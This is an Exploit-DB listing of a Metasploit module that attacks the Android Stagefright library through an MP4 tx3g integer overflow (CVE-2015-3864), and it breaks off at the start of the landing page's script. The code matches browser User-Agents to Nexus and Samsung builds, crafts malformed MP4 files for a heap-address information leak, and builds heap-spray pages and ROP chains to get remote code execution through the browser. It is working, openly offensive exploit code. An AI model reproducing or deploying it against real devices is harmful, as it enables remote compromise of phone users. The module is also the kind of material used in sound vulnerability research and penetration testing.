Google Android 5.0 < 5.1.1 - 'Stagefright' .MP4 tx3g Integer Overflow (Metasploit)

EDB-ID:

40436




Platform:

Android

Date:

2016-09-27


##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::RopDb

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Android Stagefright MP4 tx3g Integer Overflow",
      'Description'    => %q{
          This module exploits a integer overflow vulnerability in the Stagefright
        Library (libstagefright.so). The vulnerability occurs when parsing specially
        crafted MP4 files. While a wide variety of remote attack vectors exist, this
        particular exploit is designed to work within an HTML5 compliant browser.

          Exploitation is done by supplying a specially crafted MP4 file with two
        tx3g atoms that, when their sizes are summed, cause an integer overflow when
        processing the second atom. As a result, a temporary buffer is allocated
        with insufficient size and a memcpy call leads to a heap overflow.

          This version of the exploit uses a two-stage information leak based on
        corrupting the MetaData that the browser reads from mediaserver. This method
        is based on a technique published in NorthBit's Metaphor paper. First,
        we use a variant of their technique to read the address of a heap buffer
        located adjacent to a SampleIterator object as the video HTML element's
        videoHeight. Next, we read the vtable pointer from an empty Vector within
        the SampleIterator object using the video element's duration. This gives
        us a code address that we can use to determine the base address of
        libstagefright and construct a ROP chain dynamically.

        NOTE: the mediaserver process on many Android devices (Nexus, for example) is
        constrained by SELinux and thus cannot use the execve system call. To avoid
        this problem, the original exploit uses a kernel exploit payload that disables
        SELinux and spawns a shell as root. Work is underway to make the framework
        more amenable to these types of situations. Until that work is complete, this
        exploit will only yield a shell on devices without SELinux or with SELinux in
        permissive mode.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          # Exodus/jordan # initial discovery / disclosure
          'jduck',     # Metasploit module, further infoleak development
          'NorthBit'   # intiial information leak implementation
        ],
      'References'     =>
        [
          [ 'CVE', '2015-3864' ],
          [ 'URL', 'https://blog.exodusintel.com/2015/08/13/stagefright-mission-accomplished/' ],
          [ 'URL', 'http://googleprojectzero.blogspot.com/2015/09/stagefrightened.html' ],
          [ 'URL', 'https://raw.githubusercontent.com/NorthBit/Public/master/NorthBit-Metaphor.pdf' ],
          [ 'URL', 'https://github.com/NorthBit/Metaphor' ],
          # Not used, but related
          [ 'URL', 'http://drops.wooyun.org/papers/7558' ],
          [ 'URL', 'http://translate.wooyun.io/2015/08/08/Stagefright-Vulnerability-Disclosure.html' ],
          [ 'URL', 'https://www.nccgroup.trust/globalassets/our-research/uk/whitepapers/2016/01/libstagefright-exploit-notespdf/' ],
        ],
      'Payload'        =>
        {
          'Space'    => 2048,
          'DisableNops' => true,
        },
      #'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/mettle/reverse_tcp' },
      'Platform'       => 'linux',
      'Arch'           => [ARCH_ARMLE], # TODO: , ARCH_X86, ARCH_X86_64, ARCH_MIPSLE],
      'Targets'        =>
        [
          [ 'Automatic', {} ],
          #
          # Each target includes information about the device, firmware, and
          # how exactly to about exploiting it.
          #
          # Primarily, these targets are used to map a browser's User-Agent to
          # exploit specifics for that device / build.
          #
          [
            'Nexus 7 (Wi-Fi) (razor) with Android 5.0 (LRX21P)',
            {
              'Model' => 'Nexus 7',
              'Build' => 'LRX21P',
              'Release' => '5.0',
              'Rop' => 'lrx',
              'SprayAddress' => 0xb1508000
            }
          ],
          [
            'Nexus 7 (Wi-Fi) (razor) with Android 5.0.1 (LRX22C)',
            {
              'Model' => 'Nexus 7',
              'Build' => 'LRX22C',
              'Release' => '5.0.1',
              'Rop' => 'lrx'
            }
          ],
          [
            'Nexus 7 (Wi-Fi) (razor) with Android 5.0.2 (LRX22G)',
            {
              'Model' => 'Nexus 7',
              'Build' => 'LRX22G',
              'Release' => '5.0.2',
              'Rop' => 'lrx'
            }
          ],
          [
            'Nexus 7 (Wi-Fi) (razor) with Android 5.1 (LMY47O)',
            {
              'Model' => 'Nexus 7',
              'Build' => 'LMY47O',
              'Release' => '5.1',
              'Rop' => 'lmy-1'
            }
          ],
          [
            'Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY47V)',
            {
              'Model' => 'Nexus 7',
              'Build' => 'LMY47V',
              'Release' => '5.1.1',
              'Rop' => 'lmy-1'
            }
          ],
          [
            'Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY48G)',
            {
              'Model' => 'Nexus 7',
              'Build' => 'LMY48G',
              'Release' => '5.1.1',
              'Rop' => 'lmy-1'
            }
          ],
          [
            'Nexus 7 (Wi-Fi) (razor) with Android 5.1.1 (LMY48I)',
            {
              'Model' => 'Nexus 7',
              'Build' => 'LMY48I',
              'Release' => '5.1.1',
              'Rop' => 'lmy-2'
            }
          ],
          [
            'Nexus 7 (Mobile) (razorg) with Android 5.0.2 (LRX22G)',
            {
              'Model' => 'Nexus 7',
              'Build' => 'LRX22G',
              'Release' => '5.0.2',
              'Rop' => 'lrx'
            }
          ],
          [
            'Nexus 7 (Mobile) (razorg) with Android 5.1 (LMY47O)',
            {
              'Model' => 'Nexus 7',
              'Build' => 'LMY47O',
              'Release' => '5.1',
              'Rop' => 'lmy-1'
            }
          ],
          [
            'Nexus 7 (Mobile) (razorg) with Android 5.1.1 (LMY47V)',
            {
              'Model' => 'Nexus 7',
              'Build' => 'LMY47V',
              'Release' => '5.1.1',
              'Rop' => 'lmy-1'
            }
          ],
          [
            'Nexus 5 (hammerhead) with Android 5.0 (LRX21O)',
            {
              'Model' => 'Nexus 5',
              'Build' => 'LRX21O',
              'Release' => '5.0',
              'Rop' => 'lrx'
            }
          ],
          [
            'Nexus 5 (hammerhead) with Android 5.0.1 (LRX22C)',
            {
              'Model' => 'Nexus 5',
              'Build' => 'LRX22C',
              'Release' => '5.0.1',
              'Rop' => 'lrx'
            }
          ],
          [
            'Nexus 5 (hammerhead) with Android 5.1 (LMY47D)',
            {
              'Model' => 'Nexus 5',
              'Build' => 'LMY47D',
              'Release' => '5.1',
              'Rop' => 'lmy-1'
            }
          ],
          [
            'Nexus 5 (hammerhead) with Android 5.1 (LMY47I)',
            {
              'Model' => 'Nexus 5',
              'Build' => 'LMY47I',
              'Release' => '5.1',
              'Rop' => 'lmy-1'
            }
          ],
          [
            'Nexus 5 (hammerhead) with Android 5.1.1 (LMY48B)',
            {
              'Model' => 'Nexus 5',
              'Build' => 'LMY48B',
              'Release' => '5.1.1',
              'Rop' => 'lmy-1'
            }
          ],
          [
            'Nexus 5 (hammerhead) with Android 5.1.1 (LMY48I)',
            {
              'Model' => 'Nexus 5',
              'Build' => 'LMY48I',
              'Release' => '5.1.1',
              'Rop' => 'lmy-2'
            }
          ],
          [
            'Nexus 6 (shamu) with Android 5.0 (LRX21O)',
            {
              'Model' => 'Nexus 6',
              'Build' => 'LRX21O',
              'Release' => '5.0',
              'Rop' => 'lrx'
            }
          ],
          [
            'Nexus 6 (shamu) with Android 5.0.1 (LRX22C)',
            {
              'Model' => 'Nexus 6',
              'Build' => 'LRX22C',
              'Release' => '5.0.1',
              'Rop' => 'lrx'
            }
          ],
          [
            'Nexus 6 (shamu) with Android 5.1 (LMY47D)',
            {
              'Model' => 'Nexus 6',
              'Build' => 'LMY47D',
              'Release' => '5.1',
              'Rop' => 'lmy-1'
            }
          ],
          [
            'Nexus 6 (shamu) with Android 5.1 (LMY47E)',
            {
              'Model' => 'Nexus 6',
              'Build' => 'LMY47E',
              'Release' => '5.1',
              'Rop' => 'lmy-1'
            }
          ],
          [
            'Nexus 6 (shamu) with Android 5.1 (LMY47I)',
            {
              'Model' => 'Nexus 6',
              'Build' => 'LMY47I',
              'Release' => '5.1',
              'Rop' => 'lmy-1'
            }
          ],
          [
            'Nexus 6 (shamu) with Android 5.1.1 (LYZ28E)',
            {
              'Model' => 'Nexus 6',
              'Build' => 'LYZ28E',
              'Release' => '5.1.1',
              'Rop' => 'shamu / LYZ28E'
            }
          ],
          [
            'Nexus 6 (shamu) with Android 5.1 (LMY47M)',
            {
              'Model' => 'Nexus 6',
              'Build' => 'LMY47M',
              'Release' => '5.1',
              'Rop' => 'lmy-1'
            }
          ],
          [
            'Nexus 6 (shamu) with Android 5.1.1 (LMY47Z)',
            {
              'Model' => 'Nexus 6',
              'Build' => 'LMY47Z',
              'Release' => '5.1.1',
              'Rop' => 'lmy-1'
            }
          ],
          [
            'Nexus 6 (shamu) with Android 5.1.1 (LVY48C)',
            {
              'Model' => 'Nexus 6',
              'Build' => 'LVY48C',
              'Release' => '5.1.1',
              'Rop' => 'lmy-1'
            }
          ],
          [
            'Nexus 6 (shamu) with Android 5.1.1 (LMY48I)',
            {
              'Model' => 'Nexus 6',
              'Build' => 'LMY48I',
              'Release' => '5.1.1',
              'Rop' => 'lmy-2'
            }
          ],
          [
            'Nexus 6 (shamu) with Android 5.1.1 (LYZ28J)',
            {
              'Model' => 'Nexus 6',
              'Build' => 'LYZ28J',
              'Release' => '5.1.1',
              'Rop' => 'shamu / LYZ28J'
            }
          ],
          [
            'Nexus 6 (shamu) with Android 5.1.1 (LVY48E)',
            {
              'Model' => 'Nexus 6',
              'Build' => 'LVY48E',
              'Release' => '5.1.1',
              'Rop' => 'lmy-2'
            }
          ],
          [
            'Samsung Galaxy S5 (VZW SM-G900V) with Android 5.0 (LRX21T)',
            {
              'Model' => 'SM-G900V',
              'Build' => 'LRX21T',
              'Release' => '5.0',
              'Rop' => 'sm-g900v / OE1',
              'SprayAddress' => 0xaf008000,
              'SampleIteratorSize' => 0xa8,
              'VectorSize' => 0xec
            }
          ]
        ],
      'Privileged'     => true,
      'DisclosureDate' => "Aug 13 2015",
      'DefaultTarget'  => 0))

=begin
    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
      ], self.class)
=end
  end

  def exploit
    @peers = {}
    super
  end

  def get_target(request)
    agent = request.headers['User-Agent']
    self.targets.each do |t|
      next if t.name == 'Automatic'
      regexp = Regexp.escape("Linux; Android #{t['Release']}; #{t['Model']} Build/#{t['Build']}")
      return t if (agent =~ /#{regexp}/)
    end
    return nil
  end

  #
  # Construct a page worth of data that we'll spray
  #
  # NOTE: The data within is target-specific
  #
  def build_spray(my_target, peer, spray_addr)
    # Initialize the page to a reasonable state.
    page = ''
    page = rand_text(4096)

    # Load target-based exploit-specific variables
    details = get_details(my_target)
    return nil if details.nil?

    # Calculate the libstagefright.so base address
    vector_rva = details['VectorRVA']
    vector_ptr = peer[:vector_vtable_addr]
    libsf_base = (vector_ptr & 0xfffff000) - (vector_rva & 0xfffff000)

    # If we smash mDataSource, this ends up controlling the program counter!!
=begin
    0xb65fd7c4 <parseChunk(long long*, int)+4596>:      ldr     r2, [r0, #0]
    0xb65fd7c6 <parseChunk(long long*, int)+4598>:      str     r1, [sp, #0]
    0xb65fd7c8 <parseChunk(long long*, int)+4600>:      ldr     r5, [r7, #0]
    0xb65fd7ca <parseChunk(long long*, int)+4602>:      str     r5, [sp, #4]
    0xb65fd7cc <parseChunk(long long*, int)+4604>:      ldr     r6, [r2, #28]
    0xb65fd7ce <parseChunk(long long*, int)+4606>:      ldrd    r2, r3, [r10]
    0xb65fd7d2 <parseChunk(long long*, int)+4610>:      blx     r6
    0xb65fd7d4 <parseChunk(long long*, int)+4612>:      ldrd    r2, r3, [sp, #64]       ; 0x40
=end

    # Initialize our pivot values and adjust them to libstagefright's base.
    # First, load r0 (pointer to our buffer) into some register..
    mds_pivot1 = libsf_base + details['Pivot1']

    # Next, load sp (and probably other stuff) from there
    mds_pivot2 = libsf_base + details['Pivot2']

    # Finally, skip over some stuff and kick of the ROP chain
    mds_adjust = libsf_base + details['Adjust']

    # The offset to the ROP change beginning
    rop_start_off = 0x30

    # Point sp to the remainder of the ROP chain
    new_sp = spray_addr + rop_start_off

    # Sometimes the spray isn't aligned perfectly, this fixes that situation...
    unalign_off = 0x998
    new_sp2 = new_sp + 0x1000 - unalign_off

    # This pointer should point to the beginning of the shellcode payload
    payload_ptr = spray_addr + 0xa0

    # Put the stack back!
    stack_fix = "\x0a\xd0\xa0\xe1"  # mov sp, r10 ; restore original sp

    # Depending on the pivot strategy in use, we have to set things up slightly
    # differently...
    #
    # In each case, we use a two-stage pivot that reads the spray address from
    # r0 (we smashed that, remember).
    #
    # The addroffs array is used to map values to the offsets where the pivots
    # expect them to be.
    #
    case details['PivotStrategy']
    when 'lrx'
      addroffs = [
        [ 0x0, new_sp ],
        [ 0x10, mds_pivot2 ],
        [ 0x1c, mds_pivot1 ],
      ]

      # Since we are only popping one item in pivot2, we reduce the rop_start_off
      rop_start_off -= 4

      # Adjust the payload pointer
      payload_ptr -= 4

    when 'lmy-1'
      addroffs = [
        [ 0x8, new_sp ],
        [ 0xc, mds_adjust ],
        [ 0x10, mds_pivot2 ],
        [ 0x1c, mds_pivot1 ]
      ]

    when 'lmy-2'
      ptr_to_mds_pivot2 = spray_addr + 0x10 - 0x18  # adjust for displacement
      addroffs = [
        [ 0x0, ptr_to_mds_pivot2 ],
        [ 0x8, new_sp ],
        [ 0xc, mds_adjust ],
        [ 0x10, mds_pivot2 ],
        [ 0x1c, mds_pivot1 ]
      ]

      stack_fix = "\x09\xd0\xa0\xe1"  # mov sp, r9 ; restore original sp

    when 'lyz'
      ptr_to_mds_pivot2 = spray_addr + 0x8
      addroffs = [
        [ 0x0, ptr_to_mds_pivot2 ],
        [ 0x8, mds_pivot2 ],
        [ 0x1c, mds_pivot1 ],
        [ 0x24, new_sp ],
        # lr is at 0x28!
        [ 0x2c, mds_adjust ]
      ]

      # We can't fix it becuse we don't know where the original stack is anymore :-/
      stack_fix = ""

    when 'sm-g900v'
      addroffs = [
        [ 0x4, mds_adjust ],
        [ 0x10, new_sp ],
        [ 0x1c, mds_pivot1 ],
        [ 0x20, mds_pivot2 ]
      ]

    else
      print_error("ERROR: PivotStrategy #{details['PivotStrategy']} is not implemented yet!")
      return nil
    end

    # We need our ROP to build the page... Create it.
    rop = generate_rop_payload('stagefright', stack_fix + payload.encoded, {'base' => libsf_base, 'target' => my_target['Rop'] })

    # Fix up the payload pointer in the ROP
    idx = rop.index([ 0xc600613c ].pack('V'))
    rop[idx, 4] = [ payload_ptr ].pack('V')

    # Insert the ROP
    page[rop_start_off, rop.length] = rop

    # Insert the special values...
    addroffs.each do |ao|
      off,addr = ao
      page[off,4] = [ addr ].pack('V')

      # Sometimes the spray isn't aligned perfectly...
      if addr == new_sp
        page[off+unalign_off,4] = [ new_sp2 ].pack('V')
      else
        page[off+unalign_off,4] = [ addr ].pack('V')
      end
    end

    page
  end

  #
  # MPEG-4 specific functionality
  #
  def get_atom(tag, data='', length=nil)
    if tag.length != 4
        raise 'Yo! They call it "FourCC" for a reason.'
    end

    length ||= data.length + 8
    if length >= 2**32
      return [ [ 1 ].pack('N'), tag, [ length ].pack('Q>'), data ].join
    end
    [ [ length ].pack('N'), tag, data ].join
  end

  def get_stsc(num)
    stsc_data = [ 0, num ].pack('N*')  # version/flags, mNumSampleToChunkOffsets
    stsc_data << [ 13+1, 0x5a5a5a5a, 37 ].pack('N*') * num
    get_atom('stsc', stsc_data)
  end

  def get_ftyp
    # Build the MP4 header...
    ftyp = 'mp42'
    ftyp << [ 0 ].pack('N')
    ftyp << 'mp42'
    ftyp << 'isom'
    get_atom('ftyp', ftyp)
  end

  def get_pssh(alloc_size)
    pssh_data = ''
    pssh_data << [ 0 ].pack('N')
    pssh_data << [ 0, 0, 0, 0 ].pack('N*')
    pssh_data << [ alloc_size ].pack('N')
    alloc_size.times do |off|
      pssh_data << [ 0x55aa0000 + off ] .pack('V')
    end
    get_atom('pssh', pssh_data)
  end

  def get_metaitem(tag, type, data)
    ret = ''
    ret << tag.reverse
    ret << type.reverse
    case type
    when 'in32'
      ret << [ 4, data ].pack('V*')
    when 'in64'
      ret << [ 8, data ].pack('V*')
    else
      raise "How do you expect me to make a #{type.inspect} ??"
    end
    ret
  end

  def jemalloc_round(sz)
    # These are in the 16-byte aligned runs
    if (sz > 0x10 && sz <= 0x80)
      round = 16
    # 160 starts the 32-byte aligned runs
    elsif (sz > 0x80 && sz <= 0x140)
      round = 32
    else
      raise "Don't know how to round 0x%x" % sz
    end
    ret = (sz + (round - 1)) / round
    ret *= round
    return ret
  end

  #
  # Leak data from mediaserver back to the browser!
  #
  # Stage 1 - leak a heap pointer near a SampleIterator object
  # Stage 2 - read a code pointer from the SampleIterator object
  #
  def get_mp4_leak(my_target, peer)
    # MPEG4 Fileformat Reference:
    # http://qtra.apple.com/index.html
    #
    # Structure:
    # [File type Chunk][Other Atom Chunks]
    #
    # Where [Chunk] == [Atom/Box Length][Atom/Box Type][Atom/Box Data]
    #
    sampiter_alloc_size = 0x78
    sampiter_alloc_size = my_target['SampleIteratorSize'] if not my_target['SampleIteratorSize'].nil?
    sampiter_rounded = jemalloc_round(sampiter_alloc_size)
    vector_alloc_size = 0x8c
    vector_alloc_size = my_target['VectorSize'] if not my_target['VectorSize'].nil?
    groom_count = 0x10

    is_samsung = (my_target['Rop'] == 'sm-g900v / OE1')

    # Coerce the heap into a favorable shape (fill holes)
    shape_vector = get_pssh(vector_alloc_size)

    # Allocate a block of memory of the correct size
    placeholder = get_atom('titl', ('t' * 4) + ('titl' * (vector_alloc_size / 4)) + [ 0 ].pack('C'))

    # Make the first tx3g chunk, which is meant to overflow into a MetaData array.
    # We account for the overhead of both chunks here and aim for this layout:
    #
    # placeholder after re-allocation                     | vector array data
    # <len><tag><padding><is-64bit><tag><len hi><len low> | <overflow data>
    #
    # Realistically, tx3g1_padding can be any number that rounds up to the
    # correct size class.
    tx3g1_overhead = 0x8
    tx3g2_overhead = 0x10
    tx3g_target = jemalloc_round(vector_alloc_size)
    tx3g1_padding = tx3g_target - (tx3g1_overhead + tx3g2_overhead)
    tx3g_data = 'x' * tx3g1_padding
    tx3g_1 = get_atom('tx3g', tx3g_data)

    # NOTE: hvcC added in 3b5a6b9fa6c6825a1d0b441429e2bb365b259827 (5.0.0 and later only)
    # avcC was in the initial commit.
    near_sampiter = get_atom('hvcC', "C" * sampiter_alloc_size)

    # Craft the data that will overwrite the header and part of the MetaData
    # array...
    more_data = ''
    more_data << [ 9, vector_alloc_size - 0x10, 0, 0 ].pack('V*')

    # Now add the thing(s) we want to control (partially)
    #
    # We add some BS entries just to kill the real 'heig' and get proper
    # ordering...
    near_sampiter_addr = peer[:near_sampiter_addr]
    if near_sampiter_addr.nil?
      # Part 1. Leak the address of a chunk that should be adjacent to a
      # SampleIterator object.
      if is_samsung
        # On Samsung:
        # Before: dmcE, dura, frmR, heig, hvcC, inpS, lang, mime, widt
        # After:  dmcE, abc1, abc2, abc3, heig...
        more_data << get_metaitem('dmcE', 'in32', 1)
        more_data << get_metaitem('abc1', 'in32', 31335)
        more_data << get_metaitem('abc2', 'in32', 31336)
      end

      # On Nexus:
      # Before: heig, hvcc, inpS, mime, text, widt
      # After:  abc3, heig...
      more_data << get_metaitem('abc3', 'in32', 31337)

      # NOTE: We only use the first 12 bytes so that we don't overwrite the
      # pointer that is already there!
      heig = get_metaitem('heig', 'in32', 31338)
      more_data << heig[0,12]
    else
      # Part 2. Read from the specified address, as with the original Metaphor
      # exploit.
      if is_samsung
        # On Samsung:
        # Before: dmcE, dura, frmR, heig, hvcC, inpS, lang, mime, widt
        # After:  dmcE, dura, ...
        more_data << get_metaitem('dmcE', 'in32', 1)
      else
        # On Nexus:
        # Before: avcc, heig, inpS, mime, text, widt
        # After:  dura, ...
        near_sampiter = get_atom('avcC', "C" * sampiter_alloc_size)
      end

      # Try to read the mCurrentChunkSampleSizes vtable ptr within a
      # SampleIterator object. This only works because the Vector is empty thus
      # passing the restrictions imposed by the duration conversion.
      ptr_to_vector_vtable = near_sampiter_addr - (sampiter_rounded * 2) + 0x30
      more_data << get_metaitem('dura', 'in64', ptr_to_vector_vtable)
    end

    # The tx3g2 then needs to trigger the integer overflow, but can contain any
    # contents. The overflow will terminate at the end of the file.
    #
    # NOTE: The second tx3g chunk's overhead ends up in the slack space between
    # the replaced placeholder and the MetaData Vector contents.
    big_num = 0x1ffffffff - tx3g_1.length + 1 + vector_alloc_size
    tx3g_2 = get_atom('tx3g', more_data, big_num)

    # Create a minimal, verified 'trak' to satisfy mLastTrack being set
    stbl_data = get_stsc(1)
    stbl_data << get_atom('stco', [ 0, 0 ].pack('N*'))     # version, mNumChunkOffsets
    stbl_data << get_atom('stsz', [ 0, 0, 0 ].pack('N*'))  # version, mDefaultSampleSize, mNumSampleSizes
    stbl_data << get_atom('stts', [ 0, 0 ].pack('N*'))     # version, mTimeToSampleCount
    stbl = get_atom('stbl', stbl_data)
    verified_trak = get_atom('trak', stbl)

    # Start putting it all together into a track.
    trak_data = ''

    if is_samsung
      # Put some legitimate duration information so we know if we failed
      mdhd_data = [ 0 ].pack('N')     # version
      mdhd_data << "\x00" * 8         # padding
      mdhd_data << [ 1 ].pack('N')    # timescale
      mdhd_data << [ 314 ].pack('N')  # duration
      mdhd_data << [ 0 ].pack('n')    # lang
      trak_data << get_atom('mdhd', mdhd_data)
    end

    # Add this so that our file is identified as video/mp4
    mp4v_data = ''
    mp4v_data << [ 0 ].pack('C') * 24 # padding
    mp4v_data << [ 1024 ].pack('n')   # width
    mp4v_data << [ 768 ].pack('n')    # height
    mp4v_data << [ 0 ].pack('C') * (78 - mp4v_data.length)  # padding
    trak_data << get_atom('mp4v', mp4v_data)  # satisfy hasVideo = true

    # Here, we cause allocations such that we can replace the placeholder...
    if is_samsung
      trak_data << placeholder   # Somethign we can free
      trak_data << shape_vector  # Eat the loose block...
      trak_data << stbl          # Cause the growth of the track->meta Vector
    else
      trak_data << stbl          # Cause the growth of the track->meta Vector
      trak_data << placeholder   # Somethign we can free
      trak_data << shape_vector  # Eat the loose block...
    end

    # Add the thing whose entry in the MetaData vector we want to overwrite...
    trak_data << near_sampiter

    # Get our overflow data into memory
    trigger = ''
    trigger << tx3g_1

    # Free the place holder
    trigger << get_atom('titl', ('t' * 4) + ('BBBB' * vector_alloc_size) + [ 0 ].pack('C'))

    # Overflow the temporary buffer into the following MetaData array
    trigger << tx3g_2

    # !!! NOTE !!!
    # On Samsung devices, the failure that causes ERR to be returned from
    # 'tx3g' processing leads to "skipTrack" being set. This means our
    # nasty track and it's metadata get deleted and not returned to the
    # browser -- effectively killing the infoleak.
    #
    # However! It also handles "skipTrack" being set specially and does not
    # immediately propagate the error to the caller. Instead, it returns OK.
    # This allows us to triggering the bug multiple times in one file, or --
    # as we have in this case -- survive after and return successfully.
    if is_samsung
      # Add this as a nested track!
      trak_data << get_atom('trak', trigger)
    else
      trak_data << trigger
    end
    trak = get_atom('trak', trak_data)

    # On Samsung devices, we could put more chunks here but they will
    # end up smashing the temporary buffer further...

    chunks = []
    chunks << get_ftyp()
    chunks << get_atom('moov')
    chunks << verified_trak * 0x200
    chunks << shape_vector * groom_count
    chunks << trak

    mp4 = chunks.join
    mp4
  end

  def get_mp4_rce(my_target, peer)
    # MPEG4 Fileformat Reference:
    # http://qtra.apple.com/index.html
    #
    # Structure:
    # [File type Chunk][Other Atom Chunks]
    #
    # Where [Chunk] == [Atom/Box Length][Atom/Box Type][Atom/Box Data]
    #
    chunks = []
    chunks << get_ftyp()

    # Note, this causes a few allocations
    moov_data = ''
    mvhd_data = [ 0, 0x41414141 ].pack('N*')
    mvhd_data << 'B' * 0x5c
    moov_data << get_atom('mvhd', mvhd_data)

    # Add a minimal, verified 'trak' to satisfy mLastTrack being set
    verified_trak = ''
    stbl_data = get_stsc(0x28)
    stbl_data << get_atom('stco', [ 0, 0 ].pack('N*'))     # version, mNumChunkOffsets
    stbl_data << get_atom('stsz', [ 0, 0, 0 ].pack('N*'))  # version, mDefaultSampleSize, mNumSampleSizes
    stbl_data << get_atom('stts', [ 0, 0 ].pack('N*'))     # version, mTimeToSampleCount
    verified_trak << get_atom('trak', get_atom('stbl', stbl_data))

    # Add it to the file
    moov_data << verified_trak

    # The spray_addr field is typically determined empirically (by testing), but
    # has proven to be fairly predictable (99%). However, it does vary from
    # one device to the next (probably determined by the pre-loaded libraries).
    spray_addr = 0xb0c08000
    spray_addr = my_target['SprayAddress'] if not my_target['SprayAddress'].nil?

    # Construct a single page that we will spray
    page = build_spray(my_target, peer, spray_addr)
    return nil if page.nil?

    # Build a big block full of spray pages and and put it in an avcC chunk
    # (but don't add it to the 'moov' yet)
    spray = page * (((16 * 1024 * 1024) / page.length) - 20)
    avcc = get_atom('avcC', spray)

    # Make the nasty trak
    tkhd1 = ''
    tkhd1 << [ 0 ].pack('C')  # version
    tkhd1 << 'D' * 3          # padding
    tkhd1 << 'E' * (5*4)      # {c,m}time, id, ??, duration
    tkhd1 << 'F' * 0x10       # ??
    tkhd1 << [
      0x10000,  # a00
      0,        # a01
      0,        # dx
      0,        # a10
      0x10000,  # a11
      0         # dy
    ].pack('N*')
    tkhd1 << 'G' * 0x14       # ??

    # Add the tkhd (track header) to the nasty track
    trak1 = ''
    trak1 << get_atom('tkhd', tkhd1)

    # Build and add the 'mdia' (Media information) to the nasty track
    mdia1 = ''
    mdhd1 = [ 0 ].pack('C')  # version
    mdhd1 << 'D' * 0x17      # padding
    mdia1 << get_atom('mdhd', mdhd1)
    mdia1 << get_atom('hdlr', 'F' * 0x38)  # Media handler
    dinf1 = ''
    dinf1 << get_atom('dref', 'H' * 0x14)  # Data information box
    minf1 = ''
    minf1 << get_atom('smhd', 'G' * 0x08)
    minf1 << get_atom('dinf', dinf1)
    stbl1 = get_stsc(2)
    minf1 << get_atom('stbl', stbl1)
    mdia1 << get_atom('minf', minf1)
    trak1 << get_atom('mdia', mdia1)

    # Add something to take up a slot in the 0x20 size range
    # NOTE: We have to be able to free this later...
    block = 'Q' * 0x1c
    trak1 << get_atom('covr', get_atom('data', [ 0, 0 ].pack('N*') + block))

    # Add a Track (hopefully right after)
    trak1 << verified_trak

    # Add the avcC chunk with the heap spray. We add it here so it's sure to be
    # allocated when we get control of the program counter...
    trak1 << avcc

    # Build the first of the nasty pair of tx3g chunks that trigger the
    # vulnerability
    alloc_size = 0x20
    overflow_size = 0xc0

    overflow = [ spray_addr ].pack('V') * (overflow_size / 4)
    tx3g_1 = get_atom('tx3g', overflow)
    trak1 << tx3g_1

    # Free the original thing and put the tx3g temporary in it's place...
    block = 'R' * 0x40
    trak1 << get_atom('covr', get_atom('data', [ 0, 0 ].pack('N*') + block))

    # Make the second one, which triggers the integer overflow
    big_num = 0x1ffffffff - 8 - overflow.length + 1 + alloc_size
    more_data = [ spray_addr ].pack('V') * (overflow_size / 4)
    tx3g_2 = get_atom('tx3g', more_data, big_num)
    trak1 << tx3g_2

    # Add the nasty track to the moov data
    moov_data << get_atom('trak', trak1)

    # Finalize the moov chunk
    moov = get_atom('moov', moov_data)
    chunks << moov

    # Combine outer chunks together and voila.
    mp4 = chunks.join
    mp4
  end

  def on_request_uri(cli, request)
    # If the request is for an mp4 file, we need to get the target from the @peers hash
    if request.uri =~ /\.mp4\?/i
      mp4_fn = request.uri.split('/')[-1]
      mp4_fn = mp4_fn.split('?')[0]
      mp4_fn[-4,4] = ''

      peer = @peers[mp4_fn]

      my_target = nil
      my_target = peer[:target] if peer
      if my_target.nil?
        send_not_found(cli)
        print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Unknown peer")
        return
      end

      # Extract the address(s) we just leaked...
      sia_addr = request.qstring['sia'].to_i  # near_sampiter data address
      peer[:near_sampiter_addr] = sia_addr if sia_addr > 0
      sfv_addr = request.qstring['sfv'].to_i  # stagefright Vector<size_t> vtable ptr
      peer[:vector_vtable_addr] = sfv_addr if sfv_addr > 0
      # reset after a crash..
      if sia_addr == 0 && sfv_addr == 0
        peer[:near_sampiter_addr] = peer[:vector_vtable_addr] = nil
      end

      # Always use this header
      out_hdrs = {'Content-Type'=>'video/mp4'}

      if peer[:vector_vtable_addr].nil?
        # Generate the nasty MP4 to leak infoz
        mode = "infoleak"
        mp4 = get_mp4_leak(my_target, peer)
      else
        mode = "RCE"
        mp4 = get_mp4_rce(my_target, peer)
        if mp4.nil?
          send_not_found(cli)
          print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Failed to generate RCE MP4")
          return
        end
      end

      # Send the nasty MP4 file to trigger the vulnerability
      if request.headers['Accept-Encoding'] and request.headers['Accept-Encoding'].include? 'gzip'
        mp4 = Rex::Text.gzip(mp4)
        out_hdrs.merge!('Content-Encoding' => 'gzip')
        gzip = "gzip'd"
      else
        gzip = "raw"
      end

      client = "Browser"
      if request.headers['User-Agent'].include? 'stagefright'
        client = "SF"
      end

      addrs = "heap: 0x%x, code: 0x%x" % [ peer[:near_sampiter_addr].to_i, peer[:vector_vtable_addr].to_i ]

      print_status("Sending #{mode} #{gzip} MPEG4 (#{mp4.length} bytes) to #{cli.peerhost}:#{cli.peerport}... (#{addrs} from #{client})")

      # Send the nastiness!
      send_response(cli, mp4, out_hdrs)
      return
    end

    # Initialize a target. If none suitable, then we don't continue.
    my_target = target
    if my_target.name =~ /Automatic/
      my_target = get_target(request)
      if my_target.nil?
        send_not_found(cli)
        print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Unknown user-agent: #{request['User-Agent'].inspect}")
        return
      end
      vprint_status("Target selected: #{my_target.name}")
    end

    # Generate an MP4 filename for this peer
    mp4_fn = rand_text_alpha(11)

    # Save the target for when they come back asking for this file
    # Also initialize the leak address to the first one
    @peers[mp4_fn] = { :target => my_target }

    # Send the index page
    mp4_uri = "#{get_resource.chomp('/')}/#{mp4_fn}.mp4"
    html = %Q^<html>
<head>
<title>Please wait...</title>
<script>
var video;       // the video tag
var to_id;       // timeout ID
var req_start;   // when we requested the video
var load_start;  // when we loaded the video
